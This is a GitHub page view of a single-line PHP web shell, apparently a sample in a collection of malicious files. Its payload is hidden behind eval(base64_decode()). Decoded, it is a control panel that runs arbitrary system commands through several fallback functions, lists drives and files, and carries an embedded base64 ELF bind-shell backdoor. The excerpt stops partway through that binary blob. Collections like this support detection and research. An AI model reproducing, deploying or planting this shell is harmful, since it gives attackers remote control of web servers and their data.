-
Notifications
You must be signed in to change notification settings - Fork 470
/
Copy pathWebShell_ccfc9c098604d2974660515f84e082e5f2f641b3.php
1 lines (1 loc) · 398 KB
/
WebShell_ccfc9c098604d2974660515f84e082e5f2f641b3.php
1
<?eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJHNoX25hbWUgPSAiRGVtaXQiOw0KJHNoX21haW51cmwgPSAiIjsNCiRodG1sX3N0YXJ0ID0gJzxodG1sPjxoZWFkPg0KPHRpdGxlPicuJHNoX25hbWUuJzwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KYm9keSx0YWJsZSB7IGZvbnQtZmFtaWx5OnZlcmRhbmE7Zm9udC1zaXplOjlweDtjb2xvcjojQ0NDQ0NDO2JhY2tncm91bmQtY29sb3I6IzBhMGEwYTsgfQ0KdGFibGUgeyB3aWR0aDoxMDAlOyBib3JkZXItY29sb3I6IzMzMzMzMztib3JkZXItd2lkdGg6MHB0IDFwdDsgYm9yZGVyLXN0eWxlOnNvbGlkOyB9DQp0ZCB7YmFja2dyb3VuZC1jb2xvcjogIzA3MDcwNzsgZm9udC1mYW1pbHk6IENvdXJpZXIgTmV3OyBmb250LXNpemU6OHB0OyBjb2xvcjojOTk5OTk5OyBib3JkZXItY29sb3I6I0ZGRkZGRjsgYm9yZGVyLXdpZHRoOjFwdCAwcHQ7IGJvcmRlci1zdHlsZTpzb2xpZDsgYm9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO3BhZGRpbmc6MHB0IDNwdDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7fQ0KQTpMaW5rLCBBOlZpc2l0ZWQgeyBjb2xvcjogIzk5OTk5OTsJdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9DQpBLm5vOkxpbmssIEEubm86VmlzaXRlZCB7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgfQ0KQTpIb3ZlciwgQTpWaXNpdGVkOkhvdmVyICwgQS5ubzpIb3ZlciwgQS5ubzpWaXNpdGVkOkhvdmVyIHsgY29sb3I6ICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6IzMzMzMzMzsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9DQppbnB1dCxzZWxlY3Qsb3B0aW9uIHsgZm9udDo4cHQgdGFob21hO2NvbG9yOiM2NjY2NjY7bWFyZ2luOjI7Ym9yZGVyOjFweCBzb2xpZCAjNjY2NjY2OyB9DQp0ZXh0YXJlYSB7IGNvbG9yOiM2NjY2NjY7Zm9udDp2ZXJkYW5hIGJvbGQ7Ym9yZGVyOjFweCBzb2xpZCAgO21hcmdpbjoyOyB9DQouZmxlZnQgeyBmbG9hdDpsZWZ0O3RleHQtYWxpZ246bGVmdDsgfQ0KLmZyaWdodCB7IGZsb2F0OnJpZ2h0O3RleHQtYWxpZ246cmlnaHQ7IH0NCiNwYWdlYmFyIHsgZm9udDo4cHQgdGFob21hO3BhZGRpbmc6NXB4OyBib3JkZXI6M3B4IHNvbGlkICMzMzMzMzM7IGJvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTsgfQ0KI3BhZ2ViYXIgdGQgeyB2ZXJ0aWNhbC1hbGlnbjp0b3A7IH0NCiNwYWdlYmFyIHAgeyBmb250OjhwdCB0YWhvbWE7fQ0KI3BhZ2ViYXIgYSB7IGZvbnQtd2VpZ2h0OmJvbGQ7Y29sb3I6IzRhN2E5MzsgfQ0KI3BhZ2ViYXIgYTp2aXNpdGVkIHsgY29sb3I6IzAwQ0UwMDsgfQ0KI21haW5tZW51IHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0NCiNtYWlubWVudSBhIHsgdGV4dC1hbGlnbjogY2VudGVyO3BhZGRpbmc6IDBweCA1cHggMHB4IDVweDsgfQ0KI21haW5pbmZvLC5iYXJoZWFkZXIsLmJhcmhlYWRlcjIgeyB0ZXh0LWFsaWduOmNlbnRlcjsgfQ0KI21haW5pbmZvIHRkIHsgcGFkZGluZzozcHg7IH0NCi5iYXJoZWFkZXIgeyBmb250LXdlaWdodDpib2xkO3BhZGRpbmc6NXB4O2JhY2tncm91bmQtY29sb3I6IzMzMzMzMzsgfQ0KLmJhcmhlYWRlcjIgeyBwYWRkaW5nOjVweDtib3JkZXI6MnB4IHNvbGlkICMzMzMzMzM7YmFja2dyb3VuZC1jb2xvcjojMzMzMzMzOyB9DQouY29udGVudHMsLmV4cGxvcmVyIHsgYm9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO30NCi5jb250ZW50cyB0ZCB7IHZlcnRpY2FsLWFsaWduOnRvcDsgfQ0KLm1haW5wYW5lbCB7IGJvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtwYWRkaW5nOjVweDsgfQ0KLmJhcmhlYWRlciwubWFpbnBhbmVsIHRhYmxlLHRkIHsgYm9yZGVyOjFweCBzb2xpZCAjMzMzMzMzOyB9DQoubWFpbnBhbmVsIGlucHV0LHNlbGVjdCxvcHRpb24geyBib3JkZXI6MXB4IHNvbGlkICMzMzMzMzM7bWFyZ2luOjA7IH0NCmlucHV0W3R5cGU9InN1Ym1pdCJdIHsgYmFja2dyb3VuZC1jb2xvcjojMGEwYTBhO2JvcmRlcjoxcHggc29saWQgIzEyMTIxMjt9DQppbnB1dFt0eXBlPSJzdWJtaXQiXTpob3ZlciB7IGJhY2tncm91bmQtY29sb3I6IzBhMGEwYTtib3JkZXItY29sb3I6ICMwMjcxYTg7fQ0KaW5wdXRbdHlwZT0idGV4dCJdIHsgcGFkZGluZzozcHg7YmFja2dyb3VuZC1jb2xvcjojMGEwYTBhOyB9DQppbnB1dFt0eXBlPSJ0ZXh0Il06aG92ZXIge2JhY2tncm91bmQtY29sb3I6IzBhMGEwYTtib3JkZXItY29sb3I6ICMwMjcxYTggfQ0KLmZ4ZXJybXNnIHsgY29sb3I6cmVkOyBmb250LXdlaWdodDpib2xkOyB9DQojcGFnZWJhciwjcGFnZWJhciBwLGgxLGgyLGgzLGg0LGZvcm0geyBtYXJnaW46MDsgfQ0KI3BhZ2ViYXIsLm1haW5wYW5lbCxpbnB1dFt0eXBlPSJzdWJtaXQiXSB7IGJhY2tncm91bmQtY29sb3I6IzBlMGUwZTsgfQ0KLmlucHV0LHNlbGVjdCxvcHRpb24saW5wdXRbdHlwZT0ic3VibWl0Il06aG92ZXIgeyBiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyB9DQouYmFyaGVhZGVyMiBob3ZlciB7YmFja2dyb3VuZC1jb2xvcjojMzMzMzMzOyB9DQp0ZXh0YXJlYSwubWFpbnBhbmVsIGlucHV0LHNlbGVjdCxvcHRpb24geyBiYWNrZ3JvdW5kLWNvbG9yOiMwZTBlMGU7cGFkZGluZzoxO21hcmdpbjoycHggfQ0KdGV4dGFyZWE6aG92ZXIsIHNlbGVjdDpob3ZlciB7IGNvbG9yOiM2NjY2NjY7Zm9udDp2ZXJkYW5hIGJvbGQ7Ym9yZGVyLWNvbG9yOiAjMDI3MWE4O21hcmdpbjoyOyB9DQovLyAtLT4NCjwvc3R5bGU+DQo8L2hlYWQ+DQonOw0KJGxvZ2luID0gIiI7IA0KJHBhc3MgPSAiIjsNCiRtZDVfcGFzcyA9ICIiOw0KJGhvc3RfYWxsb3cgPSBhcnJheSgiKiIpOyANCiRsb2dpbl90eHQgPSAiUmVzdHJpY3RlZCBBcmVhIjsgDQokYWNjZXNzZGVuaWVkbWVzcyA9ICI8TUVUQSBodHRwLWVxdWl2PVwicmVmcmVzaFwiIGNvbnRlbnQ9XCIyO1VSTD1odHRwOi8vd3d3LmJsYWNrc2hvcC5jY1wiPjxib2R5IGJnY29sb3I9YmxhY2s+PGEgaHJlZj1cIiRzaF9tYWludXJsXCI+PGZvbnQgY29sb3I9bGltZT5meDA8L2ZvbnQ+PC9hPjogPGZvbnQgY29sb3I9cmVkPmFjY2VzcyBkZW5pZWQ8L2ZvbnQ+PC9ib2R5PiI7DQokZ3ppcGVuY29kZSA9IFRSVUU7DQokZmlsZXN0ZWFsdGggPSBUUlVFOyANCiRjdXJkaXIgPSAiLi8iOw0KJHRtcGRpciA9ICIiOyANCiR0bXBkaXJfbG9nID0gIi4vIjsNCiRsb2dfZW1haWwgPSAiMEBmeDAubmFtZSI7IA0KJHNvcnRfZGVmYXVsdCA9ICIwYSI7IA0KJHNvcnRfc2F2ZSA9IFRSVUU7IA0KJHNlc3NfY29va2llID0gImNhcHJpdjh2YXJzIjsgDQokdXNlZnNidWZmID0gVFJVRTsgDQokY29weV91bnNldCA9IEZBTFNFOyANCiRoZXhkdW1wX2xpbmVzID0gODsNCiRoZXhkdW1wX3Jvd3MgPSAyNDsNCiR3aW4gPSBzdHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsMCwzKSkgPT0gIndpbiI7DQokZGlzYWJsZWZ1bmMgPSBAaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKTsNCmlmICghZW1wdHkoJGRpc2FibGVmdW5jKSkgew0KICAkZGlzYWJsZWZ1bmMgPSBzdHJfcmVwbGFjZSgiICIsIiIsJGRpc2FibGVmdW5jKTsNCiAgJGRpc2FibGVmdW5jID0gZXhwbG9kZSgiLCIsJGRpc2FibGVmdW5jKTsNCn0NCmZ1bmN0aW9uIGdldF9waHBpbmkoKSB7DQogIGZ1bmN0aW9uIFVfd29yZHdyYXAoJHN0cikgew0KICAgICRzdHIgPSBAd29yZHdyYXAoQGh0bWxzcGVjaWFsY2hhcnMoJHN0ciksIDEwMCwgJzx3YnIgLz4nLCB0cnVlKTsNCiAgICByZXR1cm4gQHByZWdfcmVwbGFjZSgnISgmW147XSopPHdiciAvPihbXjtdKjspIScsICckMSQyPHdiciAvPicsICRzdHIpOw0KICB9DQogIGZ1bmN0aW9uIFVfdmFsdWUoJHZhbHVlKSB7DQogICAgaWYgKCR2YWx1ZSA9PSAnJykgcmV0dXJuICc8aT5ubyB2YWx1ZTwvaT4nOw0KICAgIGlmIChAaXNfYm9vbCgkdmFsdWUpKSByZXR1cm4gJHZhbHVlID8gJ1RSVUUnIDogJ0ZBTFNFJzsNCiAgICBpZiAoJHZhbHVlID09PSBudWxsKSByZXR1cm4gJ05VTEwnOw0KICAgIGlmIChAaXNfb2JqZWN0KCR2YWx1ZSkpICR2YWx1ZSA9IChhcnJheSkgJHZhbHVlOw0KICAgIGlmIChAaXNfYXJyYXkoJHZhbHVlKSkgew0KICAgICAgQG9iX3N0YXJ0KCk7DQogICAgICBwcmludF9yKCR2YWx1ZSk7DQogICAgICAkdmFsdWUgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQogICAgICBAb2JfZW5kX2NsZWFuKCk7DQogICAgfQ0KICAgIHJldHVybiBVX3dvcmR3cmFwKChzdHJpbmcpICR2YWx1ZSk7DQogIH0NCiAgaWYgKEBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXRfYWxsJykpIHsNCiAgICAkciA9ICIiOw0KICAgIGVjaG8gIjx0YWJsZT48dHIgY2xhc3M9YmFyaGVhZGVyPjx0ZD5EaXJlY3RpdmU8L3RkPjx0ZD5Mb2NhbCBWYWx1ZTwvdGQ+PHRkPkdsb2JhbCBWYWx1ZTwvdGQ+PC90cj4iOw0KICAgIGZvcmVhY2ggKEBpbmlfZ2V0X2FsbCgpIGFzICRrZXk9PiR2YWx1ZSkgew0KICAgICAgJHIgLj0gIjx0cj48dGQ+Ii4ka2V5LiI8L3RkPjx0ZD48ZGl2IGFsaWduPWNlbnRlcj4iLlVfdmFsdWUoJHZhbHVlWydsb2NhbF92YWx1ZSddKS4iPC9kaXY+PC90ZD48dGQ+PGRpdiBhbGlnbj1jZW50ZXI+Ii5VX3ZhbHVlKCR2YWx1ZVsnZ2xvYmFsX3ZhbHVlJ10pLiI8L2Rpdj48L3RkPjwvdHI+IjsNCiAgICB9DQogICAgZWNobyAkcjsNCiAgICBlY2hvICI8L3RhYmxlPiI7DQogIH0NCn0NCg0KZnVuY3Rpb24gZGlzcF9kcml2ZXMoJGN1cmRpciwkc3VybCkgew0KICAkbGV0dGVycyA9ICIiOw0KICAkdiA9IGV4cGxvZGUoIlxcIiwkY3VyZGlyKTsNCiAgJHYgPSAkdlswXTsNCiAgZm9yZWFjaCAocmFuZ2UoIkEiLCJaIikgYXMgJGxldHRlcikgew0KICAgICRib29sID0gJGlzZGlza2V0dGUgPSAkbGV0dGVyID09ICJBIjsNCiAgICBpZiAoISRib29sKSB7JGJvb2wgPSBpc19kaXIoJGxldHRlci4iOlxcIik7fQ0KICAgIGlmICgkYm9vbCkgew0KICAgICAgJGxldHRlcnMgLj0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PWxzJmQ9Ii51cmxlbmNvZGUoJGxldHRlci4iOlxcIikuIlwiIi4NCiAgICAgICgkaXNkaXNrZXR0ZT8iIG9uY2xpY2s9XCJyZXR1cm4gY29uZmlybSgnTWFrZSBzdXJlIHRoYXQgdGhlIGRpc2tldHRlIGlzIGluc2VydGVkIHByb3Blcmx5LCBvdGhlcndpc2UgYW4gZXJyb3IgbWF5IG9jY3VyLicpXCIiOiIiKS4iPiBbIjsNCiAgICAgIGlmICgkbGV0dGVyLiI6IiAhPSAkdikgeyRsZXR0ZXJzIC49ICRsZXR0ZXI7fQ0KICAgICAgZWxzZSB7JGxldHRlcnMgLj0gIjxmb250IGNvbG9yPXJlZD4iLiRsZXR0ZXIuIjwvZm9udD4iO30NCiAgICAgICRsZXR0ZXJzIC49ICJdPC9hPiAiOw0KICAgIH0NCiAgfQ0KICBpZiAoIWVtcHR5KCRsZXR0ZXJzKSkge1JldHVybiAkbGV0dGVyczt9DQogIGVsc2Uge1JldHVybiAiTm9uZSI7fQ0KfQ0KaWYgKGlzX2NhbGxhYmxlKCJkaXNrX2ZyZWVfc3BhY2UiKSkgew0KICBmdW5jdGlvbiBkaXNwX2ZyZWVzcGFjZSgkY3VyZHJ2KSB7DQogICAgJGZyZWUgPSBkaXNrX2ZyZWVfc3BhY2UoJGN1cmRydik7DQogICAgJHRvdGFsID0gZGlza190b3RhbF9zcGFjZSgkY3VyZHJ2KTsNCiAgICBpZiAoJGZyZWUgPT09IEZBTFNFKSB7JGZyZWUgPSAwO30NCiAgICBpZiAoJHRvdGFsID09PSBGQUxTRSkgeyR0b3RhbCA9IDA7fQ0KICAgIGlmICgkZnJlZSA8IDApIHskZnJlZSA9IDA7fQ0KICAgIGlmICgkdG90YWwgPCAwKSB7JHRvdGFsID0gMDt9DQogICAgJHVzZWQgPSAkdG90YWwtJGZyZWU7DQogICAgJGZyZWVfcGVyY2VudCA9IHJvdW5kKDEwMC8oJHRvdGFsLyRmcmVlKSwyKS4iJSI7DQogICAgJGZyZWUgPSB2aWV3X3NpemUoJGZyZWUpOw0KICAgICR0b3RhbCA9IHZpZXdfc2l6ZSgkdG90YWwpOw0KICAgIHJldHVybiAiJGZyZWUgb2YgJHRvdGFsICgkZnJlZV9wZXJjZW50KSI7DQogIH0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNoZWxsZXhlYyIpKSB7DQogIGlmKGlzX2NhbGxhYmxlKCJwb3BlbiIpKSB7DQogICAgZnVuY3Rpb24gbXlzaGVsbGV4ZWMoJGNtZCkgew0KICAgICAgaWYgKCEoJHA9cG9wZW4oIigkY21kKTI+JjEiLCJyIikpKSB7IHJldHVybiAicG9wZW4gRGlzYWJsZWQhIjsgfQ0KICAgICAgd2hpbGUgKCFmZW9mKCRwKSkgew0KICAgICAgICAkbGluZT1mZ2V0cygkcCwxMDI0KTsNCiAgICAgICAgJG91dCAuPSAkbGluZTsNCiAgICAgIH0NCiAgICAgIHBjbG9zZSgkcCk7DQogICAgICByZXR1cm4gJG91dDsNCiAgICB9DQogIH0gZWxzZSB7DQogICAgZnVuY3Rpb24gbXlzaGVsbGV4ZWMoJGNtZCkgew0KICAgICAgZ2xvYmFsICRkaXNhYmxlZnVuYzsNCiAgICAgICRyZXN1bHQgPSAiIjsNCiAgICAgIGlmICghZW1wdHkoJGNtZCkpIHsNCiAgICAgICAgaWYgKGlzX2NhbGxhYmxlKCJleGVjIikgYW5kICFpbl9hcnJheSgiZXhlYyIsJGRpc2FibGVmdW5jKSkgew0KICAgICAgICAgIGV4ZWMoJGNtZCwkcmVzdWx0KTsNCiAgICAgICAgICAkcmVzdWx0ID0gam9pbigiXG4iLCRyZXN1bHQpOw0KICAgICAgICB9IGVsc2VpZiAoKCRyZXN1bHQgPSAkY21kKSAhPT0gRkFMU0UpIHsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2NhbGxhYmxlKCJzeXN0ZW0iKSBhbmQgIWluX2FycmF5KCJzeXN0ZW0iLCRkaXNhYmxlZnVuYykpIHsNCiAgICAgICAgICAkdiA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IHN5c3RlbSgkY21kKTsgJHJlc3VsdCA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IGVjaG8gJHY7DQogICAgICAgIH0gZWxzZWlmIChpc19jYWxsYWJsZSgicGFzc3RocnUiKSBhbmQgIWluX2FycmF5KCJwYXNzdGhydSIsJGRpc2FibGVmdW5jKSkgew0KICAgICAgICAgICR2ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfY2xlYW4oKTsgcGFzc3RocnUoJGNtZCk7ICRyZXN1bHQgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBlY2hvICR2Ow0KICAgICAgICB9IGVsc2VpZiAoaXNfcmVzb3VyY2UoJGZwID0gcG9wZW4oJGNtZCwiciIpKSkgew0KICAgICAgICAgICRyZXN1bHQgPSAiIjsNCiAgICAgICAgICB3aGlsZSghZmVvZigkZnApKSB7ICRyZXN1bHQgLj0gZnJlYWQoJGZwLDEwMjQpOyB9DQogICAgICAgICAgcGNsb3NlKCRmcCk7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIHJldHVybiAkcmVzdWx0Ow0KICAgIH0NCiAgfQ0KfQ0KZnVuY3Rpb24gZXgoJGNmZSkgew0KICAkcmVzID0gJyc7DQogIGlmICghZW1wdHkoJGNmZSkpIHsNCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgew0KICAgICAgQGV4ZWMoJGNmZSwkcmVzKTsNCiAgICAgICRyZXMgPSBqb2luKCJcbiIsJHJlcyk7DQogICAgfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsNCiAgICAgICRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsNCiAgICB9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7DQogICAgICBAb2Jfc3RhcnQoKTsNCiAgICAgIEBzeXN0ZW0oJGNmZSk7DQogICAgICAkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KICAgICAgQG9iX2VuZF9jbGVhbigpOw0KICAgIH0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgew0KICAgICAgQG9iX3N0YXJ0KCk7DQogICAgICBAcGFzc3RocnUoJGNmZSk7DQogICAgICAkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KICAgICAgQG9iX2VuZF9jbGVhbigpOw0KICAgIH0gZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY2ZlLCJyIikpKSB7DQogICAgICAkcmVzID0gIiI7DQogICAgICB3aGlsZSghQGZlb2YoJGYpKSB7ICRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpOyB9DQogICAgICBAcGNsb3NlKCRmKTsNCiAgICB9IGVsc2UgeyAkcmVzID0gIkV4KCkgRGlzYWJsZWQhIjsgfQ0KICB9DQogIHJldHVybiAkcmVzOw0KfQ0KZnVuY3Rpb24gd2hpY2goJHByKSB7DQogICRwYXRoID0gZXgoIndoaWNoICRwciIpOw0KICBpZighZW1wdHkoJHBhdGgpKSB7IHJldHVybiAkcGF0aDsgfSBlbHNlIHsgcmV0dXJuICRwcjsgfQ0KfQ0KDQokaG9zdG5hbWVfeCA9IHBocF91bmFtZShuKTsNCiRpdHNob21lID0gZ2V0Y3dkKCk7DQppZiAoISR3aW4pIHsNCiAgJGl0c2hvbWUgPSBzdHJfcmVwbGFjZSgiL2hvbWUvIiwifiIsJGl0c2hvbWUpOw0KICAkaXRzaG9tZSA9IHN0cl9yZXBsYWNlKCIvcHVibGljX2h0bWwiLCIvY2EucGhwIiwkaXRzaG9tZSk7DQp9DQplbHNlIHsgJGl0c2hvbWUgPSAiIjsgfQ0KJGVudW1lcmF0ZSA9ICJodHRwOi8vIi4kaG9zdG5hbWVfeC4iLyIuJGl0c2hvbWUuIiI7DQoNCg0KJEx2ZXJzaW9uID0gcGhwX3VuYW1lKHIpOw0KJE9TViA9IHBocF91bmFtZShzKTsNCg0KDQokYmFja2Rvb3IgPSJmMFZNUmdFQkFRQUFBQUFBQUFBQUFBSUFBd0FCQUFBQW9JVUVDRFFBQUFENEVnQUFBQUFBQURRQUlBQUhBQ2dBSWdBZkFBWUFBQUEwQUFBQU5JQUVDRFNBQkFqZ0FBQUE0QUFBQUFVQUFBQUVBQUFBQXdBQUFCUUJBQUFVZ1FRSUZJRUVDQk1BQUFBVEFBQUFCQUFBQUFFQUFBQUJBQUFBQUFBQUFBQ0FCQWdBZ0FRSXJBa0FBS3dKQUFBRkFBQUFBQkFBQUFFQUFBQ3NDUUFBckprRUNLeVpCQWcwQVFBQU9BRUFBQVlBQUFBQUVBQUFBZ0FBQU1BSkFBREFtUVFJd0prRUNNZ0FBQURJQUFBQUJnQUFBQVFBQUFBRUFBQUFLQUVBQUNpQkJBZ29nUVFJSUFBQUFDQUFBQUFFQUFBQUJBQUFBRkhsZEdRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBWUFBQUFFQUFBQUwyeHBZaTlzWkMxc2FXNTFlQzV6Ynk0eUFBQUVBQUFBRUFBQUFBRUFBQUJIVGxVQUFBQUFBQUlBQUFBQ0FBQUFBQUFBQUJFQUFBQVRBQUFBQUFBQUFBQUFBQUFRQUFBQUVRQUFBQUFBQUFBQUFBQUFDUUFBQUFnQUFBQUZBQUFBQXdBQUFBMEFBQUFBQUFBQUFBQUFBQThBQUFBS0FBQUFFZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFZQUFBQUJBQUFBQUFBQUFBY0FBQUFMQUFBQUFBQUFBQVFBQUFBTUFBQUFEZ0FBQUFJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQzRBQUFBQUFBQUFkUUVBQUJJQUFBQ2dBQUFBQUFBQUFIRUFBQUFTQUFBQU5BQUFBQUFBQUFETUFBQUFFZ0FBQUdvQUFBQUFBQUFBV2dBQUFCSUFBQUJNQUFBQUFBQUFBSGdBQUFBU0FBQUFZd0FBQUFBQUFBQTVBQUFBRWdBQUFGZ0FBQUFBQUFBQU9RQUFBQklBQUFDT0FBQUFBQUFBQU9ZQUFBQVNBQUFBT3dBQUFBQUFBQUE2QUFBQUVnQUFBRk1BQUFBQUFBQUFPUUFBQUJJQUFBQjFBQUFBQUFBQUFMa0FBQUFTQUFBQWVnQUFBQUFBQUFBckFBQUFFZ0FBQUVjQUFBQUFBQUFBZUFBQUFCSUFBQUJ2QUFBQUFBQUFBQTRBQUFBU0FBQUFmd0FBQUVpSkJBZ0VBQUFBRVFBT0FFQUFBQUFBQUFBQU9RQUFBQklBQUFBQkFBQUFBQUFBQUFBQUFBQWdBQUFBRlFBQUFBQUFBQUFBQUFBQUlBQUFBQUJmU25aZlVtVm5hWE4wWlhKRGJHRnpjMlZ6QUY5ZloyMXZibDl6ZEdGeWRGOWZBR3hwWW1NdWMyOHVOZ0JsZUdWamJBQndaWEp5YjNJQVpIVndNZ0J6YjJOclpYUUFjMlZ1WkFCaFkyTmxjSFFBWW1sdVpBQnpaWFJ6YjJOcmIzQjBBR3hwYzNSbGJnQm1iM0pyQUdoMGIyNXpBR1Y0YVhRQVlYUnZhUUJmU1U5ZmMzUmthVzVmZFhObFpBQmZYMnhwWW1OZmMzUmhjblJmYldGcGJnQmpiRzl6WlFCSFRFbENRMTh5TGpBQUFBQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBUUFDQUFBQUFBQUFBQUVBQVFBa0FBQUFFQUFBQUFBQUFBQVFhV2tOQUFBQ0FLWUFBQUFBQUFBQWlKb0VDQVlTQUFDWW1nUUlCd0VBQUp5YUJBZ0hBZ0FBb0pvRUNBY0RBQUNrbWdRSUJ3UUFBS2lhQkFnSEJRQUFySm9FQ0FjR0FBQ3dtZ1FJQndjQUFMU2FCQWdIQ0FBQXVKb0VDQWNKQUFDOG1nUUlCd29BQU1DYUJBZ0hDd0FBeEpvRUNBY01BQURJbWdRSUJ3MEFBTXlhQkFnSERnQUEwSm9FQ0FjUUFBQlZpZVdEN0Fqb01RRUFBT2lEQVFBQTZGc0VBQURKd3dEL05aQ2FCQWovSlpTYUJBZ0FBQUFBL3lXWW1nUUlhQUFBQUFEcDRQLy8vLzhsbkpvRUNHZ0lBQUFBNmRELy8vLy9KYUNhQkFob0VBQUFBT25BLy8vLy95V2ttZ1FJYUJnQUFBRHBzUC8vLy84bHFKb0VDR2dnQUFBQTZhRC8vLy8vSmF5YUJBaG9LQUFBQU9tUS8vLy8veVd3bWdRSWFEQUFBQURwZ1AvLy8vOGx0Sm9FQ0dnNEFBQUE2WEQvLy8vL0piaWFCQWhvUUFBQUFPbGcvLy8vL3lXOG1nUUlhRWdBQUFEcFVQLy8vLzhsd0pvRUNHaFFBQUFBNlVELy8vLy9KY1NhQkFob1dBQUFBT2t3Ly8vLy95WEltZ1FJYUdBQUFBRHBJUC8vLy84bHpKb0VDR2hvQUFBQTZSRC8vLy8vSmRDYUJBaG9jQUFBQU9rQS8vLy9NZTFlaWVHRDVQQlFWRkpvcllnRUNHaGNpQVFJVVZab1FJWUVDT2hmLy8vLzlKQ1FWWW5sVStnYkFBQUFnY08vRkFBQWcrd0VpNFA4Ly8vL2hjQjBBdi9RZzhRRVcxM0RpeHdrdzFXSjVZUHNDSUE5NEpvRUNBQjBET3NjZzhBRW85eWFCQWovMHFIY21nUUlpeENGMG5YcnhnWGdtZ1FJQWNuRFZZbmxnK3dJb2J5WkJBaUZ3SFFTdUFBQUFBQ0Z3SFFKeHdRa3ZKa0VDUC9ReWNPUWtGV0o1VmVEN0dTRDVQQzRBQUFBQUlQQUQ0UEFEOEhvQk1IZ0JDbkV4MFhrQVFBQUFNZEYrRXlKQkFqSFJDUUlBQUFBQU1kRUpBUUJBQUFBeHdRa0FnQUFBT2dKLy8vL2lVWHdnMzN3QUhrWXh3UWtqSWtFQ09nMC92Ly94d1FrQVFBQUFPaW8vdi8vWnNkRjFBSUF4MFhZQUFBQUFJdEZESVBBQklzQWlRUWs2SnYrLy84UHQ4Q0pCQ1Rvc1A3Ly8yYUpSZGJIUkNRUUJBQUFBSTFGNUlsRUpBekhSQ1FJQWdBQUFNZEVKQVFCQUFBQWkwWHdpUVFrNkJMKy8vK05SZFRIUkNRSUVBQUFBSWxFSkFTTFJmQ0pCQ1RvS1A3Ly80WEFlUmpIQkNTVGlRUUk2S2o5Ly8vSEJDUUJBQUFBNkJ6Ky8vL0hSQ1FFQ0FBQUFJdEY4SWtFSk9pNS9mLy9oY0I1R01jRUpKaUpCQWpvZWYzLy84Y0VKQUVBQUFEbzdmMy8vOGRGNkJBQUFBQ05SZWlOVmNTSlJDUUlpVlFrQkl0RjhJa0VKT2h0L2YvL2lVWDBnMzMwQUhrTXh3UWtqSWtFQ09nNC9mLy82RVA5Ly8rRndBK0Vwd0FBQUl0RitMbi8vLy8vaVVXNHVBQUFBQUQ4aTMyNDhxNkp5UGZRZytnQngwUWtEQUFBQUFDSlJDUUlpMFg0aVVRa0JJdEY5SWtFSk9pUS9mLy94MFFrQkFBQUFBQ0xSZlNKQkNUb1BmMy8vOGRFSkFRQkFBQUFpMFgwaVFRazZDcjkvLy9IUkNRRUFnQUFBSXRGOUlrRUpPZ1gvZi8veDBRa0NBQUFBQURIUkNRRW40a0VDTWNFSkorSkJBam9lL3ovLzR0RjhJa0VKT2lBL1AvL3h3UWtBQUFBQU9nRS9mLy9pMFgwaVFRazZHbjgvLy9wRHYvLy8xV0o1VmRXTWZaVDZILzkvLytCd3lNU0FBQ0Q3QXpvRWZ6Ly80MkRJUC8vLzQyVElQLy8vNGxGOENuUXdmZ0NPY1p6Rm9uWC94U3lpMFh3ZzhZQktmaUorc0g0QWpuR2N1eUR4QXhiWGw5ZHcxV0o1WVBzR0lsZDlPZ3QvZi8vZ2NQUkVRQUFpWFg0aVgzOGpiTWcvLy8vamJzZy8vLy9LZjdCL2dMckEvOFV0NFB1QVlQKy8zWDE2RG9BQUFDTFhmU0xkZmlMZmZ5SjdGM0RrRldKNVZPRDdBU2hySmtFQ0lQNC8zUVN1NnlaQkFqLzBJdEQvSVByQklQNC8zWHpnOFFFVzEzRGtKQ1FWWW5sVStpNy9QLy9nY05mRVFBQWcrd0U2TEg4Ly8rRHhBUmJYY01BQUFBREFBQUFBUUFDQURvNklIYzBZMnN4Ym1jdGMyaGxiR3dnS0ZCeWFYWmhkR1VnUW5WcGJHUWdkakF1TXlrZ1ltbHVaQ0J6YUdWc2JDQmlZV05yWkc5dmNpQTZPaUFLQ2dCemIyTnJaWFFBWW1sdVpBQnNhWE4wWlc0QUwySnBiaTl6YUFBQUFBQUFBUC8vLy84QUFBQUEvLy8vL3dBQUFBQUFBQUFB